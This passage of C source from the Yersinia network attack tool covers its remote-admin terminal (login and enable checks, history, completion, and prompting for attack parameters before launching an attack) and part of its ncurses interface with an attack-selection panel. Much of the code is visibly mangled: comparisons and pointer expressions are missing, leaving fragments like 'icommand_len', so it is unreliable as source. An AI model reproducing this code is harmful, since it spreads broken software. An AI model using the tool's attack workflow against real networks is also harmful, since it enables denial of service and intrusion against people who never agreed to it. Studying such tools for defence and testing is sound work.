PASSWORD_STATE; vty->authing = 1; break; case PASSWORD_STATE: if (term_vty_auth(PASSWORD_STATE, node->username, vty->buf_command) == -1) { vty->login_fails++; if (term_vty_write(node,VTY_FAILED,sizeof(VTY_FAILED)) == -1) return -1; if (term_vty_flush(node) == -1) return -1; node->state = LOGIN_STATE; vty->authing = 0; term_vty_clear_username(node); if (vty->login_fails == MAX_FAILS) { if (term_vty_write(node,VTY_GO_OUT,sizeof(VTY_GO_OUT)) == -1) return -1; term_vty_flush(node); return -1; } return 0; } vty->login_fails = 0; vty->authing = 0; node->state = NORMAL_STATE; node->timeout = term_states[NORMAL_STATE].timeout; if (term_vty_motd(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; break; case NORMAL_STATE: if (vty->authing) { if (term_vty_auth(NORMAL_STATE, NULL, vty->buf_command) == -1) { vty->login_fails++; term_vty_clear_command(node); if (vty->login_fails == MAX_FAILS) { vty->authing=0; vty->login_fails=0; } return 0; } vty->login_fails = 0; vty->authing = 0; node->state = ENABLE_STATE; break; } case ENABLE_STATE: for(i=0;icommand_len;i++) { if (*(vty->buf_command+i) != SPACE) { gotit=1; break; } } if (!gotit) { term_vty_clear_command(node); return 0; } if (term_vty_history_add(node, vty->buf_command, vty->command_len) == -1) return -1; vty->more_tx = vty->buffer_tx; warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) return -1; if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); return -1; } #ifdef HAVE_REMOTE_ADMIN if (command_entry_point(node,warray,0,0,0) == -1) { term_vty_free_words(warray); return -1; } #endif term_vty_free_words(warray); break; case PARAMS_STATE: for(i=0;icommand_len;i++) { if (*(vty->buf_command+i) != SPACE) { gotit=1; break; } } if (!gotit) { term_vty_clear_command(node); return 0; } warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) { thread_error("do_command warray calloc()", errno); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (warray->nwords != 1) { term_vty_free_words(warray); snprintf(msg,sizeof(msg),"\r\n%% Invalid data!!\r\n"); fail = term_vty_write(node,msg, strlen(msg)); term_vty_clear_command(node); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return fail; } vty->attack_param[vty->substate].print = strdup(warray->word[0]); if (vty->attack_param[vty->substate].print == NULL) { thread_error("do_command strdup()", errno); term_vty_free_words(warray); term_vty_clear_command(node); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (parser_filter_param(vty->attack_param[vty->substate].type, vty->attack_param[vty->substate].value, vty->attack_param[vty->substate].print, vty->attack_param[vty->substate].size_print, vty->attack_param[vty->substate].size ) < 0 ) { term_vty_free_words(warray); snprintf(msg,sizeof(msg),"\r\n%% Invalid data!!\r\n"); fail = term_vty_write(node,msg, strlen(msg)); term_vty_clear_command(node); free(vty->attack_param[vty->substate].print); vty->attack_param[vty->substate].print = NULL; return fail; } if ((vty->substate+1) == vty->nparams) /* Last parameter */ { attack_launch(node, vty->attack_proto, vty->attack_index, vty->attack_param, vty->nparams); node->state = ENABLE_STATE; vty->attack_param = NULL; vty->nparams = 0; } else { vty->substate++; } term_vty_free_words(warray); break; case INTERFACE_STATE: if (term_vty_history_add(node, vty->buf_command, vty->command_len) == -1) return -1; vty->more_tx = vty->buffer_tx; term_vty_write(node,"\r\n",2); break; } term_vty_clear_command(node); return 0; } void term_vty_clear_username(struct term_node *node) { memset(node->username,0,sizeof(node->username)); term_vty_clear_command(node); } void term_vty_clear_command(struct term_node *node) { struct term_vty *vty = node->specific; memset(vty->buf_command, 0, MAX_COMMAND); vty->command_len = vty->command_cursor = 0; } int8_t term_vty_exit(struct term_node *node) { struct term_vty *vty = node->specific; switch(node->state) { case LOGIN_STATE: case PASSWORD_STATE: case NORMAL_STATE: /* Ok, exit from normal state is like going out...*/ return -1; break; case ENABLE_STATE: node->state = NORMAL_STATE; break; case PARAMS_STATE: attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; node->state = ENABLE_STATE; break; case INTERFACE_STATE: node->state = ENABLE_STATE; break; } return 0; } int8_t term_vty_clear_screen(struct term_node *node) { #ifdef HAVE_REMOTE_ADMIN return (command_cls(node, NULL, 0, 0, 0)); #else return 0; #endif } /* * Do vty auth. * Return -1 if error. Return 0 if auth Ok. */ int8_t term_vty_auth(int8_t state, char *username, char *password) { if ( state == PASSWORD_STATE) /* Normal? */ { if ( ( strlen(username) == strlen(tty_tmp->username) ) && !strcmp(username, tty_tmp->username) && ( strlen(password) == strlen(tty_tmp->password) ) && !strcmp(password, tty_tmp->password) ) return 0; return -1; } if (state == NORMAL_STATE) /* Enable? */ { if ( (strlen(password) == strlen(tty_tmp->e_password)) && !strcmp(password, tty_tmp->e_password) ) return 0; return -1; } return -1; } /* * Add command to history * Return -1 if error. Return 0 if OK. */ int8_t term_vty_history_add(struct term_node *node, char *command, u_int16_t len) { int8_t aux; struct term_vty *vty = node->specific; /* First ask for a free history slot (not updating)...*/ aux = term_vty_history_get_slot(vty->history, HIST_INDEXING, MAX_HISTORY); if ( vty->history[aux] && !strcmp(command, vty->history[aux])) { vty->index_history = aux; return 0; } aux = term_vty_history_get_slot(vty->history, HIST_UPDATING, MAX_HISTORY); vty->history[aux]=(char *)thread_calloc_r((len+1)); if (vty->history[aux] == NULL) { thread_error("term_vty_history_add calloc()",errno); return -1; } memcpy(vty->history[aux],command,len); vty->index_history = aux; return 0; } /* * Find a free history slot. * Return history slot index. * If 'do_move' then we move the history array * freeing the first element. * If 'do_move==0' we return only the index and move/free nothing. */ int8_t term_vty_history_get_slot(char *history[], int8_t do_move, int8_t max_index) { int8_t i; for( i=0; ispecific; if ( vty->history[vty->index_history] == NULL ) return 0; if ( !strcmp(vty->history[vty->index_history],vty->buf_command) && !vty->index_history) return 0; if (term_vty_clear_remote(node) == -1) return -1; term_vty_clear_command(node); /* It's necessary?...*/ /* From history buffer to command buffer...*/ memcpy(vty->buf_command, vty->history[vty->index_history], strlen(vty->history[vty->index_history])); vty->command_len = strlen(vty->history[vty->index_history]); vty->command_cursor = strlen(vty->history[vty->index_history]); if ( term_vty_write(node, vty->history[vty->index_history], strlen(vty->history[vty->index_history])) == -1) return -1; if (term_vty_flush(node) == -1) return -1; if (vty->index_history) vty->index_history--; return 0; } /* * Arrow down... * Return -1 on error. Return 0 if OK. */ int8_t term_vty_history_next(struct term_node *node) { int8_t aux; struct term_vty *vty = node->specific; aux = vty->index_history; if ( (vty->history[aux] == NULL) || (aux == (MAX_HISTORY-1) ) ) { if (vty->command_len) { if (term_vty_clear_remote(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } term_vty_clear_command(node); return 0; } if ( !strcmp(vty->history[vty->index_history],vty->history[aux])) aux++; if ( (aux) < MAX_HISTORY ) { if ( vty->history[aux] == NULL ) { if (vty->command_len) { if (term_vty_clear_remote(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } term_vty_clear_command(node); return 0; } if (term_vty_clear_remote(node) == -1) return -1; term_vty_clear_command(node); /* It's necessary?...*/ /* From history buffer to command buffer...*/ memcpy(vty->buf_command, vty->history[aux], strlen(vty->history[aux])); vty->command_len = vty->command_cursor = strlen(vty->history[aux]); if ( term_vty_write(node, vty->history[aux], strlen(vty->history[aux])) == -1) return -1; if (term_vty_flush(node) == -1) return -1; vty->index_history=aux; } return 0; } /* * TAB pressed. Complete a command (not yet). * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_complete_command(struct term_node *node) { int8_t fail; fail = term_vty_help_tab(node,1); return fail; } /* * backspace pressed. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_backspace(struct term_node *node) { struct term_vty *vty = node->specific; if (vty->command_len && vty->command_cursor) { if (vty->command_cursor == vty->command_len ) { if (term_states[node->state].do_echo && !vty->authing) { if (term_vty_write(node, DEL_BACK, sizeof(DEL_BACK)) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } vty->buf_command[vty->command_len-1]=0; vty->command_len--; vty->command_cursor--; } else { u_int16_t len; char *message; len = vty->command_len - vty->command_cursor; memcpy( &vty->buf_command[vty->command_cursor-1], &vty->buf_command[vty->command_cursor], len); vty->buf_command[vty->command_len-1]=0; vty->command_len--; vty->command_cursor--; if (term_states[node->state].do_echo && !vty->authing) { if (term_vty_clear_line(node,len) == -1) return -1; if (term_vty_write(node, DEL_BACK, sizeof(DEL_BACK)) == -1) return -1; if (term_vty_write(node, &vty->buf_command[vty->command_cursor], len) == -1) return -1; message = (char *)malloc(len); if (message == NULL) { thread_error("term_vty_backspace malloc()",errno); return -1; } memset(message, DEL, len); if (term_vty_write(node, message, len) == -1) { free(message); return -1; } if (term_vty_flush(node) == -1) { free(message); return -1; } free(message); } } } return 0; } /* * ? pressed. Show the help. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_help(struct term_node *node) { int8_t fail; fail = term_vty_help_tab(node,0); return fail; } int8_t term_vty_help_tab(struct term_node *node, int8_t tab) { int8_t ret; int8_t as_param=0; struct words_array *warray; struct term_vty *vty = node->specific; vty->buf_command[vty->command_len] = 0; if (vty->command_len) { if (vty->buf_command[vty->command_len-1] == SPACE) as_param = 1; } vty->command_cursor = vty->command_len; warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) { thread_error("term_vty_help_tab calloc()",errno); return -1; } if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); return -1; } #ifdef HAVE_REMOTE_ADMIN if (tab) ret = command_entry_point(node,warray,0,as_param,1); else ret = command_entry_point(node,warray,1,as_param,0); #endif term_vty_free_words(warray); return ret; } /* * Clear remote command buffer (that is, on client screen) * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_clear_remote(struct term_node *node) { char buf_tx[MAX_COMMAND*3]; int16_t aux_len, len; struct term_vty *vty = node->specific; if (!vty->command_len) return 0; memset(buf_tx, DEL, (vty->command_len*3) ); if (vty->command_len > vty->command_cursor) aux_len = vty->command_cursor; else aux_len = vty->command_len; len=aux_len; memset( (char *)&buf_tx[aux_len], SPACE, vty->command_len); len+=vty->command_len; len+=vty->command_len; if (term_vty_write(node, buf_tx, len) == -1) return -1; return 0; } /* * Clear a remote line screen. * Remote cursor must be at beginning of line and 'size' must be size of line. * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_clear_line(struct term_node *node, u_int16_t size) { char *buf_tx; buf_tx = (char *)calloc(1,(size*2)); if (buf_tx == NULL) { thread_error("term_vty_clear_line malloc()",errno); return -1; } memset(buf_tx, SPACE, size); memset((buf_tx+size), DEL, size); if (term_vty_write(node, buf_tx, (size*2)) == -1) { thread_free_r(buf_tx); return -1; } thread_free_r(buf_tx); return 0; } /* * Flush the buffer_tx terminal * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_flush(struct term_node *node) { int8_t fail=0, more=0; void *aux; struct term_vty *vty = node->specific; if (!vty->buffer_tx || !vty->buffer_tx_len) return 0; if ( (node->state == LOGIN_STATE) || (node->state == PASSWORD_STATE) ) { fail = term_write(node,vty->buffer_tx,vty->buffer_tx_len); thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->buffer_tx_len = 0; return fail; } if (vty->more_tx==NULL) aux = vty->buffer_tx; else aux = vty->more_tx; more = term_vty_more(node); if (vty->buffer_tx == vty->more_tx) fail = term_write(node, aux, vty->buffer_tx_len); else fail = term_write(node, aux, (vty->more_tx - aux)); if (more) { if (!fail) fail = term_write(node, VTY_MORE, strlen(VTY_MORE)); vty->moremode = 1; } else { thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->more_tx = NULL; vty->buffer_tx_len = 0; vty->more_tx_len = 0; vty->moremode = 0; } return fail; } /* * Return -1 if buffer is greater than terminal (so use 'more' mode). * Return 0 otherwise. */ int8_t term_vty_more(struct term_node *node) { int16_t i,caracs=0, lines=0, buff_size; void *buffer, *buff_end; struct term_vty *vty = node->specific; buff_end = (vty->buffer_tx + vty->buffer_tx_len); if (vty->more_tx == NULL) vty->more_tx = vty->buffer_tx; buffer = vty->more_tx; buff_size = (buff_end-buffer); for (i=0; iwidth)) { lines++; if (!(lines%vty->height)) { vty->moremode=1; vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return -1; } caracs=0; continue; } switch(* (char *)buffer) { case '\n': lines++; if (!(lines%vty->height)) { vty->moremode=1; vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return -1; } caracs=0; break; default: caracs++; break; } } vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return 0; } /* * Write data to vty. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_write(struct term_node *node, char *message, u_int16_t size) { if (term_vty_buffer_add(node, message, size) == -1) return -1; return 0; } /* * Add data to outgoing buffer. * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_buffer_add(struct term_node *node, void *buffer, u_int16_t size) { void *aux; struct term_vty *vty = node->specific; if (!buffer || !size) return 0; aux = calloc(1,(vty->buffer_tx_len+size)); if (aux == NULL) { thread_error("term_vty_buffer_add calloc()",errno); return -1; } if (vty->buffer_tx_len) memcpy( aux, vty->buffer_tx, vty->buffer_tx_len ); memcpy( (aux+vty->buffer_tx_len), buffer, size); vty->buffer_tx_len += size; thread_free_r(vty->buffer_tx); vty->buffer_tx = aux; return 0; } int8_t term_vty_set_words(struct term_node *node, struct words_array *warray) { struct term_vty *vty = node->specific; char *begin; u_int16_t i, j, aux=0, indx=0; for(i=0;icommand_len;i++) { if (*(vty->buf_command+i) != SPACE) { begin = vty->buf_command+i; j=0; while( (*(begin+j)!=SPACE) && *(begin+j)) j++; if (*(begin+j) == SPACE) { aux=1; *(begin+j) = 0; } else aux=0; warray->nwords++; warray->word[indx]=strdup(begin); if (warray->word[indx]==NULL) return -1; if (warray->nwords == MAX_WORDS) { if (aux) *(begin+j) = SPACE; break; } if (aux) *(begin+j) = SPACE; indx++; i+=j; } } return 0; } /* * Free words array structure... */ void term_vty_free_words(struct words_array *warray) { u_int8_t i; for (i=0; inwords; i++) if (warray->word[i]) free(warray->word[i]); free(warray); } /* * Completion command for '*word'. Used if TAB pressed. */ int8_t term_vty_tab_subst(struct term_node *node, char *word, char *comm) { struct term_vty *vty = node->specific; char *aux, *aux2; u_int16_t i, spaces, diff; int16_t res; spaces = 0; i = vty->command_len-1; while(1) { if (*(vty->buf_command+i) != SPACE) { aux=(vty->buf_command+i); break; } spaces++; i--; } diff = (strlen(comm)-strlen(word)); res = vty->command_len - spaces + diff + 1; if (diff == 0) /* Exact word, just add another ' ' */ { if (rescommand_len < res) { *(aux+1) = ' '; vty->command_len++; vty->command_cursor++; vty->buf_command[vty->command_len] = 0; } } return 0; } aux2 = (comm+strlen(word)); if (res vty->command_len) { memcpy((aux+1),aux2,strlen(aux2)); vty->buf_command[vty->command_len+strlen(aux2)] = ' '; vty->command_len+=strlen(aux2)+1; vty->command_cursor+=strlen(aux2)+1; vty->buf_command[vty->command_len] = 0; return 0; } } return 0; } yersinia-0.7.3/src/ncurses-interface.c0000644000175000017500000017153412234207266015540 0ustar nknk/* ncurses_interface.c * Implementation for ncurses interfaces * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: ncurses-interface.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include #ifdef SOLARIS #include #include #else #include #endif #include "ncurses-interface.h" #include "ncurses-callbacks.h" /* * Ncurses init */ int8_t ncurses_i_init(WINDOW *my_wins[], PANEL *my_panels[], struct term_node *node) { int32_t row, col; initscr(); if (has_colors() == FALSE) write_log(0, " Warning: your terminal does not support color\n"); else start_color(); cbreak(); nonl(); noecho(); init_pair(1, COLOR_RED, COLOR_BLACK); init_pair(2, COLOR_GREEN, COLOR_BLACK); init_pair(3, COLOR_BLUE, COLOR_BLACK); init_pair(4, COLOR_CYAN, COLOR_BLACK); init_pair(5, COLOR_YELLOW, COLOR_BLACK); init_pair(6, COLOR_BLACK, COLOR_BLUE); getmaxyx(stdscr,row,col); /* minimum rows & columns to display a proper GUI */ if ((col < NCURSES_MIN_COLS) || (row < NCURSES_MIN_ROWS)) { write_log(0, " Error: I need at least %d rows and %d columns \ for a proper display!!\n", NCURSES_MIN_ROWS, NCURSES_MIN_COLS); printw(" Error: I need at least %d rows and %d columns for a proper display!!\n", NCURSES_MIN_ROWS, NCURSES_MIN_COLS); printw(" I can't work with only %d rows and %d columns, who do you think I am?\n", row, col); printw(" Get a bigger window, press a key, and rerun yersinia :)"); refresh(); getch(); return -1; } /* main window */ my_wins[MAIN_SCREEN] = newwin(row- NCURSES_BWINDOW_SIZE - 1, col, 0, 0); /* secondary window */ my_wins[SEC_SCREEN] = newwin(NCURSES_BWINDOW_SIZE, col, row-NCURSES_BWINDOW_SIZE, 0); /* Create windows for the panels */ my_wins[LIST_FILECAPS] = newwin(20, 60, (row-20)/2, (col-60)/2); my_wins[LIST_ATTACKS] = newwin(20, 60, (row-20)/2, (col-60)/2); my_wins[IFACE_SCREEN] = newwin(10, 50, (row-10)/2, (col-50)/2); my_wins[ATTACK_SCREEN] = newwin(15, 50, (row-15)/2, (col-50)/2); /* my_wins[INFO_SCREEN] = newwin(1, col, NCURSES_BWINDOW_SIZE - 1, 0);*/ info_window = newwin(1, col, row - NCURSES_BWINDOW_SIZE - 1, 0); leaveok(info_window, TRUE); my_wins[HELP_SCREEN] = newwin(23, 42, (row-23)/2, (col-41)/2); my_wins[SPLASH_SCREEN] = newwin(19, 80, (row-19)/2, (col-80)/2); /* main window */ my_panels[MAIN_SCREEN] = new_panel(my_wins[MAIN_SCREEN]); /* secondary window */ my_panels[SEC_SCREEN] = new_panel(my_wins[SEC_SCREEN]); /* Attach a panel to each window */ /* Order is bottom up */ my_panels[LIST_FILECAPS] = new_panel(my_wins[LIST_FILECAPS]); /* Push 0, order: stdscr-0 */ my_panels[LIST_ATTACKS] = new_panel(my_wins[LIST_ATTACKS]); /* Push 0, order: stdscr-0 */ my_panels[IFACE_SCREEN] = new_panel(my_wins[IFACE_SCREEN]); /* Push 0, order: stdscr-0 */ my_panels[ATTACK_SCREEN] = new_panel(my_wins[ATTACK_SCREEN]); /* Push 0, order: stdscr-0 */ /* my_panels[INFO_SCREEN] = new_panel(my_wins[INFO_SCREEN]); / Push 0, order: stdscr-0 / info_panel = new_panel(my_wins[INFO_SCREEN]); Push 0, order: stdscr-0 */ my_panels[HELP_SCREEN] = new_panel(my_wins[HELP_SCREEN]); /* Push 2, order: stdscr-2 */ my_panels[SPLASH_SCREEN] = new_panel(my_wins[SPLASH_SCREEN]); curs_set(0); if (tty_tmp->splash != 0) { ncurses_i_splash_screen(my_wins[SPLASH_SCREEN],NULL); show_panel(my_panels[SPLASH_SCREEN]); ncurses_c_refresh(); /* Hmmm propaganda... */ thread_usleep(900000); hide_panel(my_panels[SPLASH_SCREEN]); ncurses_c_refresh(); } ncurses_c_refresh_mwindow(NCURSES_DEFAULT_MODE, my_wins[MAIN_SCREEN], 0, node); ncurses_c_refresh_bwindow(NCURSES_DEFAULT_MODE, my_wins[SEC_SCREEN], node); return 0; } /* * About panel */ void ncurses_i_splash_screen(WINDOW *splash_screen, PANEL *splash_panel) { int32_t row, col, y, x; /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(splash_screen, y, x); if ((row - 19 != y) || (col - 80 != x)) mvwin(splash_screen, (row - 19)/2, (col - 80)/2); wclear(splash_screen); wattron(splash_screen, COLOR_PAIR(3)); box(splash_screen, 0, 0); mvwprintw(splash_screen, 1, 2, " #²##²²#"); mvwprintw(splash_screen, 2, 2, " ²#°°°²²#²²"); mvwprintw(splash_screen, 3, 2, " #²²²°###°²#²²"); mvwprintw(splash_screen, 4, 2, "²²°²°# #²°°²²²#"); mvwprintw(splash_screen, 5, 2, "°²°°# #²²°²²#"); mvwprintw(splash_screen, 6, 2, "²°²°# #°°²°²²"); mvwprintw(splash_screen, 7, 2, "²²°°²# #°²##²²²"); mvwprintw(splash_screen, 8, 2, "#²²²°# ##°²°##²²²"); mvwprintw(splash_screen, 9, 2, " ²²²°²## #°°²²°²²"); mvwprintw(splash_screen,10, 2, " ²##°°²°# #°²²#²²"); mvwprintw(splash_screen,11, 2, " #²²#²°°# #²°°²²#"); mvwprintw(splash_screen,12, 2, " ²²#²°# #°²°²#"); mvwprintw(splash_screen,13, 2, " #²°²²## ###²#²"); mvwprintw(splash_screen,14, 2, " #²²°°²## ##²°##"); mvwprintw(splash_screen,15, 2, " ²#²°²²°# #²°#²²"); mvwprintw(splash_screen,16, 2, " ²#²²#°²°##### ##°²²²²"); mvwprintw(splash_screen,17, 2, " ²²#°°²²²°°²°°#²²"); wattroff(splash_screen, COLOR_PAIR(3)); mvwprintw(splash_screen, 4, 8, "±²±"); mvwprintw(splash_screen, 5, 7, "±²±²²±"); mvwprintw(splash_screen, 6, 7, "±²±±²²±"); mvwprintw(splash_screen, 7, 8, "²²±²²±²±"); mvwprintw(splash_screen, 8, 8, "±²²²±±²²±"); mvwprintw(splash_screen, 9,10, "±²²²²²²²²±"); mvwprintw(splash_screen,10,11, "±²²±±±²²²²²±"); mvwprintw(splash_screen,11,12, "±²²²±±²²²²²²±"); mvwprintw(splash_screen,12,13, "±±²²±±±±±±²²²±"); mvwprintw(splash_screen,13,15, "±±±²²±±±±²²²"); mvwprintw(splash_screen,14,17, "±±±²²²±²²²"); mvwprintw(splash_screen,15,19, "±±±²²²²±"); mvwprintw(splash_screen,16,24, "±"); wattron(splash_screen, A_BOLD); mvwprintw(splash_screen, 2, 17, "Chaos Internetwork Operating System Software"); mvwprintw(splash_screen, 3, 17, "%s (tm) Software (%s), Version %s, RELEASE SOFTWARE", PACKAGE, INFO_PLATFORM, VERSION); mvwprintw(splash_screen, 4, 21, "Copyright (c) 2004-2007 by tomac & Slay, Inc."); mvwprintw(splash_screen, 5, 22, "Compiled %s by someone", INFO_DATE); if ( uptime < 60 ) mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu seconds", PACKAGE, uptime); else { if ( uptime < 3600 ) mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu minutes, %02lu seconds", PACKAGE, uptime / 60, uptime % 60); else { if ( uptime < (3600*24) ) { mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu hours, %02lu minutes, \ %02lu seconds", PACKAGE, uptime / 3600, (uptime % 3600) / 60, uptime % 60); } else mvwprintw(splash_screen, 6, 23, "%s uptime is %02lu days, %02lu hours, \ %02lu minutes, %02lu seconds", PACKAGE, uptime / (3600*24), (uptime % (3600*24)) / 3600, (uptime % 3600) / 60, uptime % 60); } } mvwprintw(splash_screen, 8, 29, "Running Multithreading Image on"); mvwprintw(splash_screen, 9, 30, "%s %s supporting:", INFO_KERN, INFO_KERN_VER); mvwprintw(splash_screen, 11, 40, "%02d console terminal(s)", MAX_CON); mvwprintw(splash_screen, 12, 40, "%02d tty terminal(s)", MAX_TTY); mvwprintw(splash_screen, 13, 40, "%02d vty terminal(s)", MAX_VTY); wattron(splash_screen, A_BOLD | A_BLINK); wattroff(splash_screen, A_BOLD | A_BLINK); if (splash_panel) { wtimeout(splash_screen, NCURSES_KEY_TIMEOUT); while ((wgetch(splash_screen)==ERR) && !terms->gui_th.stop); hide_panel(splash_panel); } } /* * Help panel */ void ncurses_i_help_screen(u_int8_t mode, WINDOW *help_screen, PANEL *help_panel) { int32_t row, col, y, x; ncurses_c_set_status_line(" This is the help screen. "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(help_screen, y, x); if ((row - 24 != y) || (col - 41 != x)) mvwin(help_screen, (row - 24)/2, (col - 41)/2); wattron(help_screen, COLOR_PAIR(2)); box(help_screen, 0, 0); /* common help for all modes */ mvwprintw(help_screen, 0, 13, " Available commands "); mvwprintw(help_screen, 1, 2, "h"); mvwprintw(help_screen, 2, 2, "x"); mvwprintw(help_screen, 3, 2, "i"); mvwprintw(help_screen, 4, 2, "ENTER"); mvwprintw(help_screen, 5, 2, "v"); mvwprintw(help_screen, 6, 2, "d"); mvwprintw(help_screen, 7, 2, "e"); mvwprintw(help_screen, 8, 2, "f"); mvwprintw(help_screen, 9, 2, "s"); mvwprintw(help_screen, 10, 2, "S"); mvwprintw(help_screen, 11, 2, "L"); mvwprintw(help_screen, 12, 2, "M"); mvwprintw(help_screen, 13, 2, "l"); mvwprintw(help_screen, 14, 2, "K"); mvwprintw(help_screen, 15, 2, "c"); mvwprintw(help_screen, 16, 2, "C"); mvwprintw(help_screen, 17, 2, "g"); mvwprintw(help_screen, 18, 2, "Ctrl-L"); mvwprintw(help_screen, 19, 2, "w"); mvwprintw(help_screen, 20, 2, "a"); mvwprintw(help_screen, 21, 2, "q"); wattroff(help_screen, COLOR_PAIR(2)); mvwprintw(help_screen, 1, 9, "Help screen"); mvwprintw(help_screen, 2, 9, "eXecute attack"); mvwprintw(help_screen, 3, 9, "edit Interfaces"); mvwprintw(help_screen, 4, 9, "information about selected item"); mvwprintw(help_screen, 5, 9, "View hex packet dump"); mvwprintw(help_screen, 6, 9, "load protocol Default values"); mvwprintw(help_screen, 7, 9, "Edit packet fields"); mvwprintw(help_screen, 8, 9, "list capture Files"); mvwprintw(help_screen, 9, 9, "Save packets from protocol"); mvwprintw(help_screen, 10, 9, "Save packets from all protocols"); mvwprintw(help_screen, 11, 9, "Learn packet from network"); mvwprintw(help_screen, 12, 9, "set Mac spoofing on/off"); mvwprintw(help_screen, 13, 9, "List running attacks"); mvwprintw(help_screen, 14, 9, "Kill all running attacks"); mvwprintw(help_screen, 15, 9, "Clear current protocol stats"); mvwprintw(help_screen, 16, 9, "Clear all protocols stats"); mvwprintw(help_screen, 17, 9, "Go to other protocol screen"); mvwprintw(help_screen, 18, 9, "redraw screen"); mvwprintw(help_screen, 19, 9, "Write configuration file"); mvwprintw(help_screen, 20, 9, "About this proggie"); mvwprintw(help_screen, 21, 9, "Quit (bring da noize)"); wtimeout(help_screen,NCURSES_KEY_TIMEOUT); while ( (wgetch(help_screen)==ERR) && !terms->gui_th.stop); hide_panel(help_panel); ncurses_c_set_status_line(""); } /* * Attack information panel */ void ncurses_i_attack_screen(struct term_node *node, u_int8_t mode, WINDOW *attack_screen, PANEL *attack_panel) { int32_t i, key_pressed=0, j, row, col, y, x; u_int8_t field; int8_t ret; struct attack_param *attack_param = NULL; struct attack *theattack = NULL; ncurses_c_set_status_line(" Those strange attacks... "); /* Check that the window is centered */ getmaxyx(stdscr, row, col); getyx(attack_screen, y, x); if ((row - 15 != y) || (col - 50 != x)) mvwin(attack_screen, (row - 15)/2, (col - 50)/2); if (protocols[mode].attacks) theattack = protocols[mode].attacks; else { write_log(0, "Warning: no attacks for mode %d\n", mode); return; } i = 0; wclear(attack_screen); wattron(attack_screen, COLOR_PAIR(1)); box(attack_screen, 0, 0); mvwprintw(attack_screen, 0, 18, " Attack Panel "); mvwprintw(attack_screen, 14, 5, " Select attack to launch ('q' to quit) "); mvwprintw(attack_screen, 1, 2, "No DoS Description"); wattroff(attack_screen, COLOR_PAIR(1)); while(theattack[i].s != NULL) { mvwprintw(attack_screen, i+2, 2, "%d", i); mvwprintw(attack_screen, i+2, 7, "%c", (theattack[i].type == DOS) ? 'X' : ' '); mvwprintw(attack_screen, i+2, 13, "%s", theattack[i].s); i++; } wtimeout(attack_screen,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while ( (key_pressed !='Q') && (key_pressed != 'q') && !terms->gui_th.stop) { key_pressed = wgetch(attack_screen); switch (key_pressed) { case 'Q': case 'q': break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': j = key_pressed - 48; if (j < i) { /* does the attack exist? */ if (theattack[j].nparams) /* Do we need parameters for attack? */ { if ((attack_param = calloc(1, (sizeof(struct attack_param) * theattack[j].nparams))) == NULL) { thread_error(" ncurses_i_attack_screen attack_param calloc",errno); key_pressed='Q'; break; } memcpy( attack_param, (void *)(theattack[j].param), sizeof(struct attack_param) * theattack[j].nparams); if (attack_init_params(node, attack_param, theattack[j].nparams) < 0) { free(attack_param); key_pressed='Q'; break; } /* Hide the attack panel */ hide_panel(attack_panel); /* Now we can ask for parameters... */ 